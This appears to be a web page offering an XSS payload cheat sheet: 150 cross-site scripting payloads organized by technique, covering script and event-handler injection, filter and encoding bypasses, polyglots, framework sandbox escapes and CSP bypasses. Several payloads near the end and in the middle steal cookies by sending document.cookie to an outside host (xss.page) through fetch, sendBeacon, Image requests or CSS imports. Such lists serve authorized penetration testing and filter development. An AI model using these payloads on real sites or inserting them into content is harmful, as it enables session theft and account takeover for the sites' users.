XSS Payload Cheat Sheet
Comprehensive collection of 150 XSS payloads organized by technique and context
For educational and authorized testing purposes only. Unauthorized access to computer systems is illegal. Use these payloads only on systems you own or have explicit permission to test.
Showing 150 payloads
Classic XSS payload using script tag
<script>alert(1)</script>Display current domain
<script>alert(document.domain)</script>External script injection
<script src="//xss.page/xss.js"></script>Image error event handler
<img src=x onerror=alert(1)>Body onload event
<body onload=alert(1)>SVG onload event
<svg onload=alert(1)>Input focus with autofocus
<input onfocus=alert(1) autofocus>Marquee onstart event
<marquee onstart=alert(1)>Details toggle event
<details open ontoggle=alert(1)>Script inside SVG
<svg><script>alert(1)</script></svg>SVG animate onbegin
<svg><animate onbegin=alert(1) attributeName=x>SVG link with JavaScript protocol
<svg><a xlink:href="javascript:alert(1)"><text x="0" y="20">XSS</text></a></svg>Video tag error event
<video src=x onerror=alert(1)>Audio tag error event
<audio src=x onerror=alert(1)>Iframe with JavaScript protocol
<iframe src="javascript:alert(1)">Object with JavaScript data
<object data="javascript:alert(1)">Embed with JavaScript source
<embed src="javascript:alert(1)">Break out of JavaScript string
'; alert(1); //Break out of double-quoted string
"; alert(1); //Arithmetic operator injection
-alert(1)-Template literal injection
${alert(1)}JavaScript protocol in href
javascript:alert(1)Data URL with HTML
data:text/html,<script>alert(1)</script>Break out of attribute to add event
" onclick="alert(1)Attribute with autofocus trick
" autofocus onfocus="alert(1)Bypass tag stripping filters
<scr<script>ipt>alert(1)</scr<script>ipt>Unclosed tag to bypass parsing
<img src=x onerror="alert(1)"Case variation bypass
<img src=x oneRRor=alert(1)>Template literal instead of parentheses
<img src=x onerror=alert`1`>Slash as attribute separator
<svg/onload=alert(1)>HTML entity encoding
<img src=x onerror=alert(1)>Unicode escape sequences
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">Hex escape sequences
<img src=x onerror="\x61\x6c\x65\x72\x74(1)">Base64 encoded payload
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS polyglot for multiple contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//Another XSS polyglot
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>DOM-based via URL hash
#<img src=x onerror=alert(1)>DOM-based via query parameter
?search=<script>alert(1)</script>Bypass using eval with src attribute
<img src=x:alert(1) onerror=eval(src)>HTML entity in parentheses
<svg><script>alert(1)</script>Obfuscation using fromCharCode
<img src=x onerror=alert(String.fromCharCode(88,83,83))>HTML import with data URL
<link rel="import" href="data:text/html,<script>alert(1)</script>">Meta refresh with JavaScript
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">Form with JavaScript action
<form action="javascript:alert(1)"><input type="submit">Button formaction attribute
<button formaction="javascript:alert(1)">X</button>MathML XSS vector
<math><mi//xlink:href="data:x,<script>alert(1)</script>">IE-specific eval bypass
<img src=x:alert(1) onerror=eval(src) alt=``,``>CSS import with JavaScript (IE)
<style>@import'javascript:alert(1)';</style>Cookie exfiltration using fetch
<img src onerror="fetch('//xss.page?'+document.cookie)">Data exfiltration using sendBeacon
<img src onerror="navigator.sendBeacon('//xss.page',document.cookie)">Dynamic import with data URL
<script>import('data:text/javascript,alert(1)')</script>Iframe srcdoc attribute
<iframe srcdoc="<script>parent.alert(1)</script>">Select element with autofocus
<select onfocus=alert(1) autofocus>Textarea with autofocus
<textarea onfocus=alert(1) autofocus>Keygen with autofocus (deprecated)
<keygen onfocus=alert(1) autofocus>Video loadstart event
<video onloadstart=alert(1)><source>Audio loadstart event
<audio onloadstart=alert(1)><source>Page show event
<body onpageshow=alert(1)>Page hide event
<body onpagehide=alert(1)>Before unload event
<body onbeforeunload=alert(1)>Hash change event
<body onhashchange=alert(1)>Popstate event
<body onpopstate=alert(1)>Form submit event
<form onsubmit=alert(1)><input type=submit>Input event
<input oninput=alert(1)>Change event
<input onchange=alert(1)>SVG set with event
<svg><set attributeName=onmouseover to=alert(1)>SVG discard element
<svg><discard onbegin=alert(1)>SVG foreignObject with HTML
<svg><foreignObject><body onload=alert(1)></foreignObject>SVG use with data URL
<svg><use href="data:image/svg+xml,<svg id=x><script>alert(1)</script></svg>#x">SVG title with script
<svg><title><script>alert(1)</script></title>CSS background with JavaScript (IE)
<style>*{background:url("javascript:alert(1)")}</style>CSS import with JavaScript
<style>@import"javascript:alert(1)";</style>CSS expression (IE)
<style>body{x:expression(alert(1))}</style>Inline style with JavaScript (IE)
<div style="background:url(javascript:alert(1))">Link stylesheet with JavaScript
<link rel=stylesheet href="javascript:alert(1)">MathML with data URL
<math><mi xlink:href="data:x,<script>alert(1)</script>">XML with XSL stylesheet
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="data:text/xml,<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"><xsl:template match=\"/\"><script>alert(1)</script></xsl:template></xsl:stylesheet>"?>XML namespace injection
<xml><a xmlns:a="http://www.w3.org/1999/xhtml"><a:body onload="alert(1)"/>VBScript protocol (IE)
<a href="vbscript:msgbox(1)">Click</a>LiveScript protocol (legacy)
<a href="livescript:alert(1)">Click</a>Mocha protocol (legacy)
<a href="mocha:alert(1)">Click</a>Unicode escaped function name
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>Base64 encoded eval
<img src=x onerror=eval(atob("YWxlcnQoMSk="))>String concatenation bypass
<img src=x onerror=window[`al`+`ert`](1)>Array find method
<img src=x onerror=[1].find(alert)>Top window reference
<img src=x onerror=top[`al`+`ert`](1)>Self window reference
<img src=x onerror=self[`al`+`ert`](1)>Parent window reference
<img src=x onerror=parent[`al`+`ert`](1)>Frames window reference
<img src=x onerror=frames[`al`+`ert`](1)>GlobalThis reference
<img src=x onerror=globalThis[`al`+`ert`](1)>Decimal HTML entities
<img src=x onerror=alert(1)>Hexadecimal HTML entities
<img src=x onerror=alert(1)>Padded HTML entities
<img src=x onerror="alert(1)">Uppercase tag and attribute
<IMG SRC=x ONERROR=ALERT(1)>Mixed case
<ImG sRc=x OnErRoR=aLeRt(1)>Newline between attributes
<img
src=x
onerror=alert(1)>Tab between attributes
<img src=x onerror=alert(1)>Slash separator
<img/src=x/onerror=alert(1)>Partial Unicode escape
<img src=x onerror=ale\u0072t(1)>Backslash in function name
<img src=x onerror=al\ert(1)>Inside double quotes
"-alert(1)-"Inside single quotes
'-alert(1)-'Inside template literal
`-alert(1)-`Break out of object
};alert(1);//Break out of array
]);alert(1);//AngularJS sandbox escape (old)
{{constructor.constructor('alert(1)')()}}AngularJS scope escape
{{$on.constructor('alert(1)')()}}AngularJS CSP bypass
<div ng-app ng-csp><input autofocus ng-focus="$event.view.alert(1)">Vue.js template injection
{{_openBlock.constructor('alert(1)')()}}EJS template injection test
<%= 7*7 %>Marquee on mobile browsers
<marquee onstart=alert(1)>Isindex with image type
<isindex type=image src=x onerror=alert(1)>BGSound tag (IE)
<bgsound src=javascript:alert(1)>Blink tag (deprecated)
<blink>test</blink>Applet tag
<applet code="JavaScript:alert(1)">Layer tag (Netscape)
<layer onmouseover=alert(1)>Click</layer>ILayer tag (Netscape)
<ilayer onmouseover=alert(1)>Click</ilayer>Data URI with HTML
<iframe src="data:text/html,<script>alert(1)</script>">Object with data URI
<object data="data:text/html,<script>alert(1)</script>">Embed with data URI
<embed src="data:text/html,<script>alert(1)</script>">Script with data URI
<script src="data:text/javascript,alert(1)"></script>Script inside HTML comment
<!--<script>alert(1)</script>-->IE conditional comment
<!--[if gte IE 4]><script>alert(1)</script><![endif]-->Meta refresh with JavaScript
<meta http-equiv="refresh" content="0;javascript:alert(1)">Break attribute and inject script
">'><script>alert(1)</script>Close script and inject new
</script><script>alert(1)</script>Close style and inject script
</style><script>alert(1)</script>Close title and inject script
</title><script>alert(1)</script>Close textarea and inject script
</textarea><script>alert(1)</script>Close noscript and inject script
</noscript><script>alert(1)</script>Comment with escape
<script>alert(1)//\Comment padding
<script>/**/alert(1)</script>Hash-based DOM XSS
#<img src=x onerror=alert(1)>Query parameter DOM XSS
?q=<script>alert(1)</script>Requires user click
<a href="javascript:alert(1)">Click me</a>Formaction requires click
<form><button formaction=javascript:alert(1)>Click</button>XHTML context
<script>alert(1)</script>Fetch API exfiltration
<script>fetch("//xss.page?"+document.cookie)</script>Image-based exfiltration
<script>new Image().src="//xss.page?"+document.cookie</script>Beacon API exfiltration
<script>navigator.sendBeacon("//xss.page",document.cookie)</script>XHR prototype hijacking
<script>XMLHttpRequest.prototype.open=function(){alert(1)}</script>Cookie getter override
<script>Object.defineProperty(document,"cookie",{get:function(){alert(1)}})</script>Service worker registration
<script>navigator.serviceWorker.register("evil.js")</script>Performance timing
<script>performance.mark("xss")</script>Inject event attribute
" onfocus=alert(1) autofocus="Mouse event injection
" onmouseover=alert(1) "Begin event injection
" onbegin=alert(1) "WebAssembly instantiation
<script>WebAssembly.instantiate(new Uint8Array([0,97,115,109,1,0,0,0]))</script>CSS import for data exfil
<style>@import url(//xss.page/?data);</style>CSS background for data exfil
<style>*{background:url(//xss.page/?data)}</style>